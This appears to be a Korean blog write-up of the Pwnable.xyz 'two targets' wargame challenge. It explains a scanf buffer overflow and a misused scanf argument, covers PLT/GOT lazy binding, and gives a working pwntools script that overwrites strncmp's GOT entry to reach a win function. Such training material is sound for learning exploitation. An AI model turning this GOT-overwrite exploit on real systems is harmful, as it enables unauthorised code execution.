tmxklab
[Pwnable.xyz] two target 본문
1. 문제
nc svc.pwnable.xyz 30031
1) 문제 확인
- 메뉴가 주어지고 원하는 메뉴를 선택하여 입력 값을 넣을 수 있으며 무한 루프로 작동(근데 age를 입력하면 프로그램이 종료된다)
2) 함수 확인
2-1) IDA(hex-lay) - 메인 함수
- 입력 값에 대한 처리를 구분해 놓았으며 4를 입력한 경우 auth함수의 반환 값이 참이면 win함수가 실행
- 32번째 줄에서 auth함수의 파라미터로 s변수를 받는데 11번째 줄에서 s변수는 memset을 통해 0으로 56bytes만큼 초기화되어 있음
- 근데, 특이한 점이 21번째 줄의 scanf와 28번째 줄의 scanf에서 파라미터가 다르다(아까 age를 입력했을 때 문제가 생기는 이유 → 28번째 줄 scanf에서 v6의 주소 값을 받는 것이 아님, scanf에서 입력 값을 변수에 저장하기 위해 변수의 주소 값을 넣어야 함)
2-2) IDA(hex-lay) - auth함수
- 파라미터 a1을 받아 for문에서 어떠한 절차를 통해 s1[i]에 값을 순차적으로 넣음
- s1과 s2가 0x20개의 문자가 모두 일치하면 0을 리턴, 비교한 0x20개의 문자 중 최초로 일치하지 않는 문자의 값이 s1이 더 큰 경우 0보다 큰 값을 반환, 반대인 경우(s1 < s2) 0보다 작은 값을 리턴
- 근데 여기서 특이한 점이 s1은 char형으로 8bytes를 선언하였는데 for문에서 0x1F(31bytes), 즉, 32bytes까지 넣는 것이다.
2-3) IDA(hex-lay) - win함수
3) 메모리 보호기법 및 파일 정보 확인
2. 접근 방법
1) 첫 번째 방법
먼저, 첫 번째 방법으로 생각한 것이 auth함수에서 for문을 통해 어떻게 s1배열이 만들어지는지 분석해보고 name값에 s1배열과 똑같은 문자열을 만드는 방법이다.
하지만, 이 과정은 복잡할 것 같아서 다른 방법을 생각해봄
2) 두 번째 방법
두 번째 방법으로 21번째 줄의 scanf와 28번째 줄의 scanf이다.
첫 번째 scanf함수에서 v5[rbp-20h]변수에 24bytes까지 저장할 수 있다.
하지만, v5[rbp-20h]와 v6[rbp-10h]간의 거리는 16bytes이다.
그러므로 24bytes를 꽉 채워서 v5에 저장할 경우 v6변수의 공간을 침범할 수 있다.(8bytes만큼)
- 2번 메뉴를 선택해 nationality의 값에 "A"를 24개를 넣은 경우 v5[rbp-0x20]에는 "A"가 24개가 들어간 것을 확인할 수 있으며 v6[rbp-0x10]에 값이 "A"가 8개가 포함된 것을 확인함으로써 bof가 가능했다.
그 다음 처음에 다른 scanf함수와 달린 28번째 줄의 scanf는 변수의 주소 값을 참조하지 않는다.
비교)
<21번째 줄의 scanf>
- v5변수에 &를 지정하여 v5변수의 주소 값을 참조함
- lea인스트럭션을 통하여 rbp-0x40의 주소 값을 rax에 복사한 뒤 rax와 0x20을 더하여 결국 rax에는 rbp-0x20이 되며 다시 rax의 값을 rsi로 복사하여 scanf함수의 인자로 들어감
<28번째 줄의 scanf>
- v6변수의 값을 인자로 받음
- mov인스트럭션을 통하여 rbp-0x10의 값을(주소 값이 아니다!) rax에 저장하여 다시 rsi로 복사하여 scanf함수의 인자로 들어감
- v6변수에는 0x0이라는 값이 있으며 scanf함수에서 아무 정수 값을 넣으면 0x0의 주소 값을 참조할 수 없기 때문에 fault address 0x0이 뜨면서 프로그램이 종료됨
결론)
-
21번째 줄의 scanf함수에 24bytes 꽉 채워서 v5변수[rbp-0x20]에 넣으면 8bytes만큼 v6변수[rbp-0x10]의 값이 변조됨
-
28번째 줄의 scanf함수에서 v6의 주소 값이 아니라 v6의 값에 입력 값을 넣음
-
21번째 줄의 sacnf함수를 통해 8bytes만큼 어떠한 주소 값을 입력하면 28번째 줄의 scanf함수를 통해 v6변수는 해당 주소 값에 입력 값이 들어감
-
GOT Overwrite기법을 사용 → 어떠한 함수(코드 상에 실행하는 함수들 중 하나)의 GOT값을 v6에 입력하여 28번째 scanf함수가 실행하여 입력 값을 받을 때 win함수의 주소 값을 넣음
3. 풀이
GOT Overwirte를 사용하여 문제를 풀기 위해 다양한 함수의 GOT값을 넣으면서 해맸던 부분이 있었다.
main함수의 printf, scanf, puts함수가 눈에 띄어 printf나 scanf함수의 GOT값을 넣었지만 GOT Overwrite가 되지 않았다.
PLT : 외부 프로시저를 연결해주는 테이블
GOT : PLT가 참조하는 테이블로 함수들의 실제 주소가 쓰여져 있다.
처음에 해당 파일은 Dynamic linked로 되어있음을 확인할 수 있었다.
Dynamic link방식은 공유 라이브러리를 사용하므로 사용자가 코딩한 함수 이외의 라이브러리( ex) printf, scanf)함수들은 실제 실행파일 안에 포함되지 않는 대신에 라이브러리를 하나의 공간에 매핑하여 여러 프로그램에서 공유하여 사용하도록 한다.
만일 라이브러리 함수를 호출하게 되면 라이브러리가 프로그램 외부에 있기 때문에 함수의 주소를 알아오는 과정이 필요한데 이 때 PLT를 참조하여 GOT로 점프하여 실제 함수의 주소 값을 알아온다.
즉, GOT overwrite를 하기 전에 이미 실행했던 함수의 주소이면 실제 주소 값이 매핑되어 있으므로 사용할 수 없다. 따라서, GOT overwrite를 진행하면서 사용하지 않은 함수를 사용해야 함
① printf, scanf, read, atoi함수
- 이미 사용했던 함수여서 실제 주소 매핑되어 있음
② puts함수
- GOT의 값이 0x603020
- 0x20은 space를 의미한다.(아스키코드표 참조)
- scanf함수에서 space와 같은 공백이 문자열에 존재하면 입력을 멈춘다.
- 예전에 c코딩하면서 scanf함수에서 공백을 받기 위해 %[^\n] 를 추가로 작성한 것을 생각해 볼 수 있다.
③ strncmp함수
- 사용가능
1) strncmp GOT
strncmp GOT : 0x603018
2) win함수 주소
win함수 주소 : 0x40099c
3) 공격코드
from pwn import *
r = remote("svc.pwnable.xyz", 30031)
e = ELF('./challenge')
#printf_got = p64(e.got['printf'])
strncmp_got = p64(e.got['strncmp'])
win = str(0x40099c)
r.recvuntil(">")
r.send("2")
payload = "A"*16 + strncmp_got
#payload = "A"*16 + printf_got
r.recvuntil("nationality: ")
r.send(payload)
r.recvuntil(">")
r.send("3")
r.recvuntil("age: ")
r.sendline(win)
r.recvuntil(">")
r.send("4")
r.interactive()
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] Jmp_table (0) | 2020.04.09 |
---|---|
[Pwnable.xyz] TLSv00 (0) | 2020.04.09 |
[Pwnable.xyz] xor (0) | 2020.04.09 |
[Pwnable.xyz] note (0) | 2020.04.09 |
[Pwnable.xyz] free spirit (0) | 2020.03.30 |